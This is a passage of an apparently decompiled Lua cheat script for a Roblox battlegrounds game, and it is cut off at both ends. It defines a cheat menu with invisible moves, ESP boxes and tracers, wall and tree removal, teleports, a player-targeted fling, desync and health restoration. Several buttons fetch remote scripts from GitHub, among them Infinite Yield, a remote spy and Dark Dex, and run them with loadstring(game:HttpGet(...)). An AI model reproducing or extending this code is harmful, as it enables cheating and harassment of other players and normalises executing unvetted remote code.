Expulsive Push', 'Invisible Ult', 'Invisible Terrible Tornado', 'Invisible Terrible Tornado Finisher', }, Multi = true, Default = {}, Searchable = true, }) v495:AddDropdown('InvisibleMoves_AtomicSamurai', { Text = bypassText('Invisible Atomic Samurai'), Values = { 'Invisible Atmos Cleave', 'Invisible Ult', 'Invisible Sunset', 'Invisible Solar Cleave', 'Invisible Sunrise', 'Invisible Sunrise Finisher', 'Invisible Atomic Slash', 'Invisible Atomic Slash Finisher', }, Multi = true, Default = {}, Searchable = true, }) v495:AddDropdown('InvisibleMoves_MetalBat', { Text = bypassText('Invisible Metal Bat'), Values = {}, Multi = true, Default = {}, Searchable = true, }) v495:AddDropdown('InvisibleMoves_Suiryu', { Text = bypassText('Invisible Suiryu'), Values = { 'Bullet Barrage', }, Multi = true, Default = {}, Searchable = true, }) local _Folder = Instance.new('Folder', u9) _Folder.Name = bypassText('RemovedInstances') local _Folder2 = Instance.new('Folder', _Folder) _Folder2.Name = bypassText('RemovedTrees') local _Folder3 = Instance.new('Folder', _Folder) _Folder3.Name = bypassText('RemovedWalls') workspace.ChildAdded:Connect(function(p737) if p737.Name:lower() == 'adjustedhb' and rawget(Options.AntiMoves_Tatsumaki.Value, 'Anti Stone Grave') then task.spawn(pcall, deleteNew, p737, false) end end) if workspace.Map:FindFirstChild('Trees') then workspace.Map.Trees.ChildAdded:Connect(function(p738) if Toggles.NoTrees.Value then _RenderStepped:Wait() p738.Parent = _Folder2 end end) end u442.ChildAdded:Connect(function(p739) if (p739.Name:lower():find('debris') or p739.Name:lower() == 'part') and Toggles.NoDebris.Value then task.spawn(pcall, deleteNew, p739, false) elseif p739.Name:lower():find('tree') and Toggles.NoTrees.Value then task.spawn(pcall, deleteNew, p739, false) elseif p739.Name:lower():find('smoke') and Toggles.NoSmoke.Value then task.spawn(pcall, deleteNew, p739, false) elseif p739.Name:lower():find('explo') and Toggles.NoExplosions.Value then task.spawn(pcall, deleteNew, p739, false) elseif table.find({ 'beamed', 'adjusted', }, p739.Name:lower()) then if rawget(Options.AntiMoves_Tatsumaki.Value, 'Anti Stone Grave') then local v740, v741, v742 = pairs(p739:GetDescendants()) while true do local v743 v742, v743 = v740(v741, v742) if v742 == nil then break end if v743:IsA('BasePart') then v743.Transparency = 0.8 v743.CollisionGroup = 'untouchable' v743.Massless = true v743.CanCollide = false v743.CanTouch = false v743.CanQuery = false end end end elseif (p739:IsA('Part') and (p739.Size == Vector3.new(20, 20, 20) and p739.Shape == Enum.PartType.Ball) or p739.Name == 'Part') and rawget(Options.AntiMoves_Tatsumaki.Value, 'Anti Stone Grave') then task.spawn(pcall, deleteNew, p739, false) end end) v496:AddToggle('NoCameraAnimations', { Text = bypassText('No Camera Animations'), Default = false, Callback = function(p744) if p744 then local _CurrentCamera4 = workspace.CurrentCamera if _CurrentCamera4 and _CurrentCamera4.CameraType ~= Enum.CameraType.Custom then task.spawn(fixCam) end end end, }) v496:AddDropdown('CoreGUIElements', { Text = bypassText('Enabled CoreGUI Elements'), Values = { 'Player List', 'Chat', 'All', }, Multi = true, Default = {}, }) _StarterGui.CoreGuiChangedSignal:Connect(function(p746, p747) _RenderStepped:Wait() if p746 ~= Enum.CoreGuiType.PlayerList or (p747 or not rawget(Options.CoreGUIElements.Value, 'Player List')) then if p746 ~= Enum.CoreGuiType.Chat or (p747 or not rawget(Options.CoreGUIElements.Value, 'Chat')) then if p746 == Enum.CoreGuiType.All and (not p747 and rawget(Options.CoreGUIElements.Value, 'All')) then _StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, true) end else _StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, true) end else _StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, true) end end) v496:AddDivider() v496:AddToggle('Visualizer', { Text = bypassText('Desync Visualizer'), Default = false, }) v496:AddToggle('AlwaysVisualize', { Text = bypassText('Always Enabled'), Default = false, }) v497:AddToggle('ShowDeathCounter', { Text = bypassText('Show Death Counter'), Default = false, }) v497:AddToggle('MoveNotifications', { Text = bypassText('Move Notifications'), Default = false, }) v497:AddToggle('ExposeMoveInChat', { Text = bypassText('Expose Move In Chat'), Default = false, }) v497:AddToggle('ExposeWhitelistedPlayers', { Text = bypassText('Expose Whitelisted Players'), Default = false, }) v497:AddDropdown('MoveNotificationMoves', { Values = { 'Death Counter', 'Table Flip', 'Serious Punch', 'Omni-Directional Punch', 'Death Blow', 'Last Breath', '20-20-20 Dropkick', }, Default = {}, Multi = true, Searchable = false, Text = bypassText('Moves'), }) v497:AddDivider() v497:AddToggle('BoxESP', { Text = bypassText('Box ESP'), Default = false, }):AddColorPicker('BoxColor', { Default = Color3.fromRGB(255, 255, 255), Title = bypassText('Box Color'), }) v497:AddToggle('RainbowBoxColor', { Text = bypassText('Rainbow Box'), Default = false, Callback = function(p748) if p748 then local _Value6 = Options.BoxColor.Value repeat local v750 = tick() * 2 local v751 = math.abs(math.sin(v750)) * 255 local v752 = math.abs(math.sin(v750 + math.pi / 3)) * 255 local v753 = math.abs(math.sin(v750 + 2 * math.pi / 3)) * 255 Options.BoxColor:SetValueRGB(Color3.fromRGB(v751, v752, v753)) Options.BoxColor:Update() task.wait(0.03) until not Toggles.RainbowBoxColor.Value Options.BoxColor:SetValueRGB(_Value6) end end, }) v497:AddSlider('BoxThickness', { Text = bypassText('Box Thickness'), Default = 1, Min = 1, Max = 3, Rounding = 1, Compact = true, }) v497:AddSlider('BoxTransparency', { Text = bypassText('Box Transparency'), Default = 1, Min = 0, Max = 1, Rounding = 1, Compact = true, }) v497:AddToggle('FaceCamera', { Text = bypassText('Face Camera'), Default = false, }) v497:AddDivider() v497:AddToggle('Tracers', { Text = bypassText('Tracers'), Default = false, }):AddColorPicker('TracerColor', { Default = Color3.fromRGB(255, 255, 255), Title = bypassText('Tracers Color'), }) v497:AddToggle('RainbowTracers', { Text = bypassText('Rainbow Tracers'), Default = false, Callback = function(p754) if p754 then local _Value7 = Options.TracerColor.Value repeat local v756 = tick() * 2 local v757 = math.abs(math.sin(v756)) * 255 local v758 = math.abs(math.sin(v756 + math.pi / 3)) * 255 local v759 = math.abs(math.sin(v756 + 2 * math.pi / 3)) * 255 Options.TracerColor:SetValueRGB(Color3.fromRGB(v757, v758, v759)) Options.TracerColor:Update() task.wait(0.03) until not Toggles.RainbowTracers.Value Options.TracerColor:SetValueRGB(_Value7) end end, }) v497:AddSlider('TracerThickness', { Text = bypassText('Tracer Thickness'), Default = 1, Min = 1, Max = 3, Rounding = 1, Compact = true, }) v497:AddSlider('TracerTransparency', { Text = bypassText('Tracer Transparency'), Default = 1, Min = 0, Max = 1, Rounding = 1, Compact = true, }) v497:AddToggle('UnlockTracers', { Text = bypassText('Unlock Tracers'), Default = false, Disabled = v52, }) v498:AddToggle('NoWalls', { Text = bypassText('No Walls'), Default = false, Callback = function(p760) if p760 then local v761, v762, v763 = pairs(workspace.Map:GetChildren()) while true do local v764 v763, v764 = v761(v762, v763) if v763 == nil then break end if table.find({ 'Walls', 'GrassTop', 'Tunnel', 'Part', }, v764.Name) then v764.Parent = _Folder3 end end elseif not p760 then local v765 = _Folder3 local v766, v767, v768 = pairs(v765:GetChildren()) while true do local v769 v768, v769 = v766(v767, v768) if v768 == nil then break end v769.Parent = workspace.Map end end end, }) v498:AddToggle('NoTrees', { Text = bypassText('No Trees'), Default = false, Callback = function(p770) if workspace.Map:FindFirstChild('Trees') then if p770 then local v771, v772, v773 = pairs(workspace.Map.Trees:GetChildren()) while true do local v774 v773, v774 = v771(v772, v773) if v773 == nil then break end v774.Parent = _Folder2 end elseif not p770 then local v775 = _Folder2 local v776, v777, v778 = pairs(v775:GetChildren()) while true do local v779 v778, v779 = v776(v777, v778) if v778 == nil then break end v779.Parent = _Workspace.Map.Trees end end end end, }) v498:AddToggle('NoDebris', { Text = bypassText('No Debris'), Default = false, Callback = function(p780) if p780 then local v781 = u442 local v782, v783, v784 = pairs(v781:GetChildren()) while true do local v785 v784, v785 = v782(v783, v784) if v784 == nil then break end if v785.Name:lower():find('debris') or v785.Name:lower() == 'part' then task.spawn(pcall, deleteNew, v785, false) end end end end, }) v498:AddToggle('NoSmoke', { Text = bypassText('No Smoke'), Default = false, Callback = function(p786) if p786 then local v787 = u442 local v788, v789, v790 = pairs(v787:GetChildren()) while true do local v791 v790, v791 = v788(v789, v790) if v790 == nil then break end if v791.Name:lower():find('smoke') then task.spawn(pcall, deleteNew, v791, false) end end end end, }) v498:AddToggle('NoExplosions', { Text = bypassText('No Explosions'), Default = false, Callback = function(p792) if p792 then local v793 = u442 local v794, v795, v796 = pairs(v793:GetChildren()) while true do local v797 v796, v797 = v794(v795, v796) if v796 == nil then break end if v797.Name:lower():find('explo') then task.spawn(pcall, deleteNew, v797, false) end end end end, }) v498:AddDivider() v498:AddToggle('AmbientEnabled', { Text = bypassText('Ambient Enabled'), Default = false, Callback = function(p798) if p798 then local _Ambient = _Lighting.Ambient _Lighting.Ambient = Options.AmbientColor.Value repeat task.wait() until not Toggles.AmbientEnabled.Value _Lighting.Ambient = _Ambient end end, }):AddColorPicker('AmbientColor', { Default = Color3.fromRGB(255, 255, 255), Title = bypassText('Ambient'), Callback = function(p800) if Toggles.AmbientEnabled.Value then _Lighting.Ambient = p800 end end, }) v498:AddToggle('RainbowAmbient', { Text = bypassText('Rainbow Ambient'), Default = false, Callback = function(p801) if p801 then local _Value8 = Options.AmbientColor.Value repeat local v803 = tick() * 2 local v804 = math.abs(math.sin(v803)) * 255 local v805 = math.abs(math.sin(v803 + math.pi / 3)) * 255 local v806 = math.abs(math.sin(v803 + 2 * math.pi / 3)) * 255 Options.AmbientColor:SetValueRGB(Color3.fromRGB(v804, v805, v806)) Options.AmbientColor:Update() task.wait(0.03) until not Toggles.RainbowAmbient.Value Options.AmbientColor:SetValueRGB(_Value8) end end, }) local v807, v808, v809 = pairs(v40) local u810 = u637 while true do local u811 v809, u811 = v807(v808, v809) if v809 == nil then break end v501:AddButton({ Text = bypassText(u811), Callback = function() heartbeatTp(u36[u811]) end, }) end local u812 = {} u502:AddDropdown('TargetPlayer', { SpecialType = 'Player', ExcludeLocalPlayer = true, Text = bypassText('Target'), Callback = function(p813) local v814, v815, v816 = pairs(u812) while true do local v817 v816, v817 = v814(v815, v816) if v816 == nil then break end v817.Base:Destroy() end table.clear(u812) if p813 then local v818 = u502 u812[#u812 + 1] = v818:AddButton({ Text = bypassText('Goto'), Callback = function() local v819 = getChar(p813) local v820 if v819 then v820 = getRoot(v819) else v820 = v819 end if v819 and v820 then heartbeatTp(v820.CFrame) end end, }) local v821 = u502 u812[#u812 + 1] = v821:AddButton({ Text = bypassText('Fling'), Callback = function() fling(p813) end, }) end end, }) v505:AddDropdown('IdleAnimation', { Values = { 'Normal', 'Watch', 'Casual', 'Confident', 'Fent Master', 'Fly Idle', 'Random', }, Default = 1, Multi = false, Text = bypassText('Idle Animation'), }) v505:AddSlider('IdleAnimationEndFadeTime', { Text = bypassText('Idle Animation End Fade Time'), Default = 0.2, Min = 0.1, Max = 1, Rounding = 1, }) v505:AddDivider() v505:AddDropdown('RunAnimation', { Values = { 'Normal', 'Gojo Run', 'Sonic EXE', 'Girly Walk', 'Steve Walk', 'Sassy Walk', 'Yandere Walk', 'Sword Walk', 'March', 'Hunter', 'Goofy', 'Officer Earl', 'Kazotsky Kick', }, Default = 1, Multi = false, Text = bypassText('Run Animation'), }) v505:AddSlider('RunAnimationSpeed', { Text = bypassText('Run Animation Speed'), Default = 1, Min = 0.25, Max = 3, Rounding = 1, }) v505:AddSlider('RunAnimationStartFadeTime', { Text = bypassText('Run Animation Start Fade Time'), Default = 0.1, Min = 0.1, Max = 1, Rounding = 1, }) v505:AddSlider('RunAnimationEndFadeTime', { Text = bypassText('Run Animation End Fade Time'), Default = 0.1, Min = 0.1, Max = 1, Rounding = 1, }) v505:AddDivider() v505:AddDropdown('BlockAnimation', { Values = { 'Normal', 'One Hand', 'Gojo', 'Infinity', 'Boxer', }, Default = 1, Multi = false, Text = bypassText('Block Animation'), }) v505:AddSlider('BlockAnimationEndFadeTime', { Text = bypassText('Block Animation End Fade Time'), Default = 0.2, Min = 0.1, Max = 1, Rounding = 1, }) v505:AddDivider() v505:AddDropdown('LoopedAnimation', { Values = { 'None', 'Spin', 'Boogie Down', }, Default = 1, Multi = false, Text = bypassText('Looped Animation'), }) v505:AddSlider('LoopedAnimationSpeed', { Text = bypassText('Animation Speed'), Default = 1, Min = 0.1, Max = 10, Rounding = 1, }) v505:AddDivider() v505:AddToggle('FuckedUpCharacter', { Text = bypassText('Fucked Up Character'), Default = false, }) v505:AddToggle('NoTrashcanHold', { Text = bypassText('No Trashcan Hold'), Default = false, Callback = function(p822) if p822 then stopAllAnims(nil, { '13813450889', '13813448561', }) end end, }) v505:AddToggle('DisableIntro', { Text = bypassText('Disable Intro'), Default = false, Callback = function(p823) if p823 then communicate({ Goal = 'Disable Intro', }) end end, }) local _AddButton = v504.AddButton local v825 = { Text = bypassText('Infinite Yield'), Callback = loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source', true)), } _AddButton(v504, v825) local _AddButton2 = v504.AddButton local v827 = { Text = bypassText('Remote Spy'), Callback = loadstring(game:HttpGet('https://raw.githubusercontent.com/infyiff/backup/main/SimpleSpyV3/main.lua', true)), } _AddButton2(v504, v827) local _AddButton3 = v504.AddButton local v829 = { Text = bypassText('Dark Dex V3'), Callback = loadstring(game:HttpGet('https://raw.githubusercontent.com/infyiff/backup/main/dex.lua')), } _AddButton3(v504, v829) local _AddButton4 = v504.AddButton local v831 = { Text = bypassText('Bypassed Dark Dex V3'), Callback = loadstring(game:HttpGet('https://raw.githubusercontent.com/Babyhamsta/RBLX_Scripts/main/Universal/BypassedDarkDexV3.lua', true)), } _AddButton4(v504, v831) v504:AddLabel({ Text = bypassText("Credits:\n\r\n(discord tags)\r\nKade's Scripts: @i.am.an.agent\r\nKiosk's Scripts: @mnoq"), DoesWrap = true, Size = 16, }) local _AddButton5 = v504.AddButton local v833 = { Text = bypassText('Kade Gojo V1'), Callback = loadstring(game:HttpGet('https://raw.githubusercontent.com/skibiditoiletfan2007/BaldyToSorcerer/main/Latest.lua')), } _AddButton5(v504, v833) v504:AddButton({ Text = bypassText('Kade Gojo V2 (Morph)'), Callback = function() getgenv().morph = true loadstring(game:HttpGet('https://raw.githubusercontent.com/skibiditoiletfan2007/BaldyToSorcerer/refs/heads/main/LatestV2.lua'))() end, }) local _AddButton6 = v504.AddButton local v835 = { Text = bypassText('Kade Gojo V2 (No Morph)'), Callback = loadstring(game:HttpGet('https://raw.githubusercontent.com/skibiditoiletfan2007/BaldyToSorcerer/refs/heads/main/LatestV2.lua')), } _AddButton6(v504, v835) local _AddButton7 = v504.AddButton local v837 = { Text = bypassText('Saitama Overhaul'), Callback = loadstring(game:HttpGet('https://raw.githubusercontent.com/skibiditoiletfan2007/SaitamaOverhaul/refs/heads/main/Latest.lua')), } _AddButton7(v504, v837) v504:AddButton({ Text = bypassText('KadeJ / KaitamaJ'), Callback = function() local v838 = { ExecuteOnRespawn = false, TSBStyleNotification = true, UseOldCollateralRuin = true, NoWarning = false, NoDeathCounterImages = false, NoBarrageArms = false, NoPreysPerilAttract = false, NoWalls = false, NoTrees = false, RavageTool = true, AdrenalineBoostTool = true, Adrenaline_Multiplier = 2, CustomUppercutAnimation = true, CustomDownslamAnimation = true, CustomIdleAnimation = true, UltNames = { '20 SERIES', 'COME AT ME', "I'M DONE", }, MoveNames = { ['Normal Punch'] = 'Ravaging Kick', ['Consecutive Punches'] = 'Fist Fusillade', Shove = 'Swift Sweep', Uppercut = 'Collateral Storm', ['Death Counter'] = 'Sudden Strike', ['Table Flip'] = 'Stoic Bomb', ['Serious Punch'] = 'Destructive Power', ['Omni Directional Punch'] = 'Omni Directional Fists', }, } getgenv().Moveset_Settings = v838 loadstring(game:HttpGet('https://raw.githubusercontent.com/skibiditoiletfan2007/BaldyToKJ/refs/heads/main/Latest.lua'))() end, }) v504:AddButton({ Text = bypassText('Dragon Ball Super Hit (Morph)'), Callback = function() getgenv().Morph = true loadstring(game:HttpGet('https://raw.githubusercontent.com/OneEyedLord/Main/refs/heads/main/HitDBS.lua'))() end, }) v504:AddButton({ Text = bypassText('Dragon Ball Super Hit (No Morph)'), Callback = function() getgenv().Morph = false loadstring(game:HttpGet('https://raw.githubusercontent.com/OneEyedLord/Main/refs/heads/main/HitDBS.lua'))() end, }) local _Part = Instance.new('Part', _Workspace) _Part.CFrame = u36.Void * CFrame.new(0, -8, 0) _Part.Anchored = true _Part.Size = Vector3.new(2048, 10, 2048) _Part.Transparency = 0.5 _Part.Name = _HttpService:GenerateGUID() _Part.Parent = _Workspace local _Emotes = _LocalPlayer.PlayerGui:FindFirstChild('Emotes') local v841 if _Emotes then v841 = _Emotes:FindFirstChildWhichIsA('ImageLabel') else v841 = _Emotes end if _Emotes and v841 then local v842, v843, v844 = pairs(v841:GetChildren()) local function v854(p845) local _Button = p845:FindFirstChild('Button') if p845:IsA('Frame') and (tonumber(p845.Name) and _Button) then u41[#u41 + 1] = _Button.MouseButton1Click:Connect(function() local v847 = getChar(_LocalPlayer) local v848 if v847 then v848 = getHumanoid(v847) else v848 = v847 end if v847 and (v848 and (not v847:FindFirstChild('Freeze') and Toggles.EmoteDash.Value)) then local v849 = _Stats.Network.ServerStatsItem['Data Ping']:GetValue() / 1000 task.wait(v849 / 2) local v850, v851, v852 = pairs(v848:GetPlayingAnimationTracks()) while true do local v853 v852, v853 = v850(v851, v852) if v852 == nil then break end if table.find({ 'rbxassetid://10480796021', 'rbxassetid://10480793962', 'rbxassetid://10491993682', }, v853.Animation.AnimationId) then v853:AdjustSpeed(99) end end end end) end end while true do local v855 v844, v855 = v842(v843, v844) if v844 == nil then break end v854(v855) end v841.ChildAdded:Connect(v854) end local u856 = nil function init(_) local v857, v858, v859 = pairs(u45) while true do local v860 v859, v860 = v857(v858, v859) if v859 == nil then break end v860:Disconnect() end table.clear(u45) if u856 then u856:Destroy() u856 = nil end repeat task.wait() until getChar(_LocalPlayer) and (getRoot(getChar(_LocalPlayer)) and getHumanoid(getChar(_LocalPlayer))) local u861 = getChar(_LocalPlayer) local u862 if u861 then u862 = getRoot(u861) else u862 = u861 end local u863 if u861 then u863 = getHumanoid(u861) else u863 = u861 end if u861 and (u862 and u863) then local _Archivable = u861.Archivable u861.Archivable = true u856 = u861:Clone() u861.Archivable = _Archivable u856.Parent = workspace local u865 = nil local u866 if u861 and u856 then u866 = getRoot(u856) local u867 = getHumanoid(u856) if u856 and (u866 and u867) then u866.Anchored = true local v868 = u856:FindFirstChildWhichIsA('Highlight') or Instance.new('Highlight', u9) v868.FillTransparency = 0.5 v868.OutlineTransparency = 0 v868.DepthMode = 'AlwaysOnTop' v868.FillColor = Color3.fromRGB(0, 255, 255) v868.OutlineColor = Color3.fromRGB(0, 255, 255) v868.Adornee = u856 local v869 = u856 local v870, v871, v872 = pairs(v869:GetDescendants()) while true do local v873, v874 = v870(v871, v872) if v873 == nil then break end v872 = v873 if v874:IsA('BasePart') and v874 ~= u866 then v874.CollisionGroup = 'untouchable' v874.Massless = true v874.CanCollide = false v874.CanTouch = false v874.CanQuery = false v874.Transparency = 0.5 elseif v874:IsA('Trail') or v874:IsA('ParticleEmitter') then task.spawn(pcall, deleteNew, v874, false) end end task.delay(0.1, function() u865 = loadAnim(u867, '18236605028') u865.Priority = Enum.AnimationPriority.Action4 end) end else u866 = nil end local u875 = loadAnim(u863, '18236605028', 'Server') u875.Priority = Enum.AnimationPriority.Action3 local u876 = nil local u877 = nil local u878 = 0 local u879 = nil local v880 = _RenderStepped u45[#u45 + 1] = v880:Connect(function() _Part.CFrame = CFrame.new(u862.Position.X, u36.Void.Y - 8, u862.Position.Z) u876 = u863.Health if u862.CFrame.Y <= -9000000000 or u862.CFrame.Y >= 9000000000 then if u862.CFrame.Y < -9000000000 or u862.CFrame.Y > 9000000000 then heartbeatTp(u877) end else u877 = u862.CFrame end u878 = u878 + 1 local _Value9 = Options.LoopedAnimation.Value local v882 = { Spin = '188632011', ['Boogie Down'] = '140290021376754', } if v882[_Value9] and (u879 and not u879.Animation.AnimationId:match(v882[_Value9]) or not u879) then u879 = loadAnim(u863, v882[_Value9]) u879.Priority = Enum.AnimationPriority.Action2 end if u879 then if v882[_Value9] and not u879.IsPlaying then u879:Play() u879.Looped = true elseif u879.IsPlaying and not v882[_Value9] or u878 % 1000 == 0 then u879:Stop() u879 = nil end u879:AdjustSpeed(Options.LoopedAnimationSpeed.Value * (_Value9 == 'Boogie Down' and 1.5 or 1)) end local v883 = 1 if u875 then if Toggles.FuckedUpCharacter.Value and not u875.IsPlaying then u875:Play() u875.Looped = true elseif u875.IsPlaying and not Toggles.FuckedUpCharacter.Value or u878 % 1000 == 0 then u875:Stop() end u875:AdjustSpeed(v883) end if u865 then if Toggles.FuckedUpCharacter.Value then u866.CFrame = u862.CFrame if not u865.IsPlaying then u865:Play() u865.Looped = true end else u866.CFrame = CFrame.new(100000000, 100000000, 100000000) if u865.IsPlaying then u865:Stop() end end u865:AdjustSpeed(v883) end end) task.spawn(function() repeat repeat if not task.wait() or getChar(_LocalPlayer) and getChar(_LocalPlayer) ~= u861 then return end until u861:GetAttribute('Blocking') and u861:GetAttribute('Blocking') == true local _Value10 = Options.BlockAnimation.Value local v885 = _Value10 == 'Normal' and '' or (_Value10 == 'One Hand' and '17097146599' or (_Value10 == 'Gojo' and '18459178353' or (_Value10 == 'Infinity' and '15020965094' or (_Value10 == 'Boxer' and '14616272668' or '')))) until not v885:match('^%s*$') local v886 = loadAnim(u863, v885) v886 = v886 or loadAnim(u863, v885) if v886 and not v886.IsPlaying then v886:Play() if v885 == '17097146599' then v886:AdjustSpeed(2.5) repeat task.wait() until v886.TimePosition >= 1 v886:AdjustSpeed(0) elseif v885 == '18459178353' then v886:AdjustSpeed(2.5) repeat task.wait() until v886.TimePosition >= 0.5 v886:AdjustSpeed(0) elseif v885 == '15020965094' then v886.TimePosition = 1 v886:AdjustSpeed(0) elseif v885 == '14616272668' then v886.TimePosition = 0.25 v886:AdjustSpeed(0) _TweenService:Create(v886, TweenInfo.new(2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, -1, true, 0), {TimePosition = 0.4}):Play() end end task.wait() if u861:GetAttribute('Blocking') == false or _Value10 ~= Options.BlockAnimation.Value then else end if v886 then v886:Stop(Options.BlockAnimationEndFadeTime.Value) end end) task.spawn(function() repeat repeat if not task.wait() or getChar(_LocalPlayer) and getChar(_LocalPlayer) ~= u861 then return end if u863.MoveDirection == Vector3.new() then end until u863.MoveDirection ~= Vector3.new() local _Value11 = Options.RunAnimation.Value local u888 = _Value11 == 'Normal' and '' or (_Value11 == 'Gojo Run' and '18897115785' or (_Value11 == 'Sonic EXE' and '17860467628' or (_Value11 == 'Girly Walk' and '17861862787' or (_Value11 == 'Steve Walk' and '17861872519' or (_Value11 == 'Sassy Walk' and '17861893094' or (_Value11 == 'Yandere Walk' and '17086054994' or (_Value11 == 'Sword Walk' and '17120635926' or (_Value11 == 'March' and '15962443652' or (_Value11 == 'Hunter' and '15962326593' or (_Value11 == 'Goofy' and '18897664299' or (_Value11 == 'Officer Earl' and '18897700236' or (_Value11 == 'Kazotsky Kick' and '17861870996' or nil)))))))))))) until not u888:match('^%s*$') if not RunAnim then RunAnim = loadAnim(u863, u888) end if RunAnim and tostring(RunAnim.Animation.AnimationId):match('%d+') ~= u888 then RunAnim:Destroy() RunAnim = loadAnim(u863, u888) end if RunAnim then if not table.find({ '17860467628', }, u888) then RunAnim:AdjustSpeed(Options.RunAnimationSpeed.Value) end if not RunAnim.IsPlaying then task.spawn(function() if not u861:FindFirstChild('Freeze') then RunAnim:Play(Options.RunAnimationStartFadeTime.Value) if u888 == '17860467628' then RunAnim:AdjustSpeed(0) RunAnim.TimePosition = 1.25 local v889 = TweenInfo.new(2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, -1, true, 0) _TweenService:Create(RunAnim, v889, {TimePosition = 1.5}):Play() end end end) end end task.wait() if u863.MoveDirection == Vector3.new() or Options.RunAnimation.Value ~= _Value11 then else end if RunAnim then RunAnim:Stop(Options.RunAnimationEndFadeTime.Value) end local v890 = nil local v891 = '' local v892 = nil if Idle ~= 'Normal' and (not v890 or v890 and not v890.IsPlaying) or v891 ~= Options.IdleAnimation.Value then local _Value12 = Options.IdleAnimation.Value v891 = Options.IdleAnimation.Value if v890 then v890:Stop() end if v892 then v892:Stop() end if _Value12 == 'Watch' then v890 = loadAnim(u863, '18897733312') v890.Priority = Enum.AnimationPriority.Idle v890:Play() elseif _Value12 == 'Casual' then v890 = loadAnim(u863, '13736115009') v890.Priority = Enum.AnimationPriority.Idle v890:Play(0.2) v892 = loadAnim(u863, '18253570434') v892.Priority = Enum.AnimationPriority.Idle v892:Play() v892:AdjustSpeed(0) v892.TimePosition = 0.3 elseif _Value12 == 'Confident' then v890 = loadAnim(u863, '18450406917') v890.Priority = Enum.AnimationPriority.Idle v890:Play(0.2) v890:AdjustSpeed(0) _TweenService:Create(v890, TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, -1, true, 0), {TimePosition = 0.1}):Play() elseif _Value12 == 'Fent Master' then v890 = loadAnim(u863, '17086333563') v890.Priority = Enum.AnimationPriority.Idle v890:Play(0.2) v890:AdjustSpeed(0) v890.TimePosition = 1.5 _TweenService:Create(v890, TweenInfo.new(3, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, -1, true, 0), {TimePosition = 2}):Play() elseif _Value12 == 'Fly Idle' then v890 = loadAnim(u863, '17124061663') v890.Priority = Enum.AnimationPriority.Idle v890:Play() end end _RenderStepped:Wait() if u863.MoveDirection == Vector3.new() then end if v890 then v890:Stop(Options.IdleAnimationEndFadeTime.Value) end if v892 then v892:Stop() end end) u45[#u45 + 1] = u863.HealthChanged:Connect(function(p894) if p894 <= 0 and u862.CFrame.Y <= 0 then u863.Health = u876 end end) u45[#u45 + 1] = u861.AttributeChanged:Connect(function(p895) if p895 == 'Combo' and (u861:GetAttribute('Combo') == 5 and u862) then if Toggles.WallComboAnywhere.Value then if Options.AutoWallCombo.Value == 'Auto Wall Combo + Bring' then if Options.AutoWallCombo.Value == 'Auto Wall Combo + Bring' then u59['Doing Wall Combo Anywhere'] = true local v896 = tick() repeat getgenv().flingDesync = { CFrame = u862.CFrame * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0), } task.wait() until tick() >= v896 + 0.225 local _CFrame4 = u862.CFrame getgenv().flingDesync = { CFrame = u46[Options.AutoWallComboArea.Value], } task.wait(0.2) communicate({ Goal = 'Wall Combo', }) getgenv().flingDesync = nil u59['Doing Wall Combo Anywhere'] = false task.wait(0.5) if u861:FindFirstChild('ForceField') and Toggles.AutoWallComboTPBack.Value then stopAllAnims(u863) heartbeatTp(_CFrame4) end end else local u898 if u59.Invisibility or Toggles.FuckedUpCharacter.Value then u898 = nil else local u899 = loadAnim(u863, '181525546', 'Server') u899.Priority = Enum.AnimationPriority.Action3 task.delay(0.1, function() u899:Play() u899.TimePosition = 1 u899:AdjustWeight(999999) u899:AdjustSpeed(0) end) u898 = u899 end u59['Doing Wall Combo Anywhere'] = true local v900 = tick() repeat getgenv().flingDesync = { CFrame = u862.CFrame * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0), } task.wait() until tick() >= v900 + 0.6 getgenv().flingDesync = nil u59['Doing Wall Combo Anywhere'] = false task.delay(0.1, function() if u898 then u898:Stop() end end) end end elseif p895 == 'Blocking' and (u861:GetAttribute('Blocking') and Toggles.InvisibleMoves_Block.Value) then u861:SetAttribute('Blocking', false) elseif p895 == 'TotalKillsFrb' and Toggles.AutoEmoteSpin.Value then communicate({ Goal = 'Emote Spin', }) end end) task.spawn(function() while task.wait() and (not getChar(_LocalPlayer) or getChar(_LocalPlayer) == u861) do if getgenv().desync and not u861:FindFirstChild('AbsoluteImmortal') then local v901 = { _ReplicatedStorage.Resources.NinjaUlt.Afterimage_Despawn:Clone(), } v901[1].Parent = u862 v901[2] = _ReplicatedStorage.Resources.VanishingKick.tpthing:Clone() v901[2].Parent = u862 local v902, v903, v904 = pairs(v901[1]:GetChildren()) while true do local v905 v904, v905 = v902(v903, v904) if v904 == nil then break end if v905:IsA('ParticleEmitter') then v905.Enabled = true v905.Rate = 100 end end v901[2].Enabled = true v901[2].Rate = 100 repeat v901[1].CFrame = u862.CFrame _RenderStepped:Wait() until not getgenv().desync or u861:FindFirstChild('AbsoluteImmortal') local v906, v907, v908 = pairs(v901) while true do local v909 v908, v909 = v906(v907, v908) if v908 == nil then break end v909:Destroy() end end end end) task.spawn(function() local v910 = u861 local v911, v912, v913 = pairs(v910:GetDescendants()) while true do local u914 v913, u914 = v911(v912, v913) if v913 == nil then break end if u914:IsA('BasePart') and (u914 ~= u862 and u914.Transparency ~= 1) and not u914.Name:lower():find('hitbox') then task.spawn(function() while task.wait() and (not getChar(_LocalPlayer) or getChar(_LocalPlayer) == u861) do if u914 and (u59.Invisibility or getgenv().desync and not u861:FindFirstChild('AbsoluteImmortal')) then u914.Transparency = 0.5 repeat _RenderStepped:Wait() until not u59.Invisibility and (not getgenv().desync or u861:FindFirstChild('AbsoluteImmortal')) or getChar(_LocalPlayer) and getChar(_LocalPlayer) ~= u861 u914.Transparency = 0 end end end) end end end) u45[#u45 + 1] = u863.AnimationPlayed:Connect(function(p915) local _AnimationId = p915.Animation.AnimationId if p915.Priority == Enum.AnimationPriority.Action4 and (p915.Animation.AnimationId ~= u57.ID and (u59.Invisibility and not (getgenv().flingDesync and 